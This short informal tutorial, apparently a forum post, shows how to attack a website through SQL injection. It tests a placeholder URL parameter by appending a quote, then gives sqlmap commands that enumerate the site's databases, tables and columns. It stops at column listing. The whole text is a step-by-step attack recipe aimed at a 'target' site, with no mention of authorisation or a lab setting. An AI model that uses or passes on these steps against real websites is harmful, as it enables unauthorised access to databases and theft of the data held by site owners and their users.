suppose the target website is www.target.com/image.php?id=5
for checking for the vulnerability of the website just add ' at the end.. like this
www.target.com/image.php?id=5' then press Enter.. if an Error page appear then the website is vulnerable.... now start sqlmap in BackTrack...... type the following command
python ./sqlmap.py -u www.target.com/image.php?id=5 --dbs
this will give u the Database of the website now type
python ./sqlmap.py -u www.target.com/image.php?id=5 -D Database name --tables
this will give u the tables name.... now chose the Table name carefully...... then
python ./sqlmap.py -u www.target.com/image.php?id=5 -D Database name -T tablename --columns
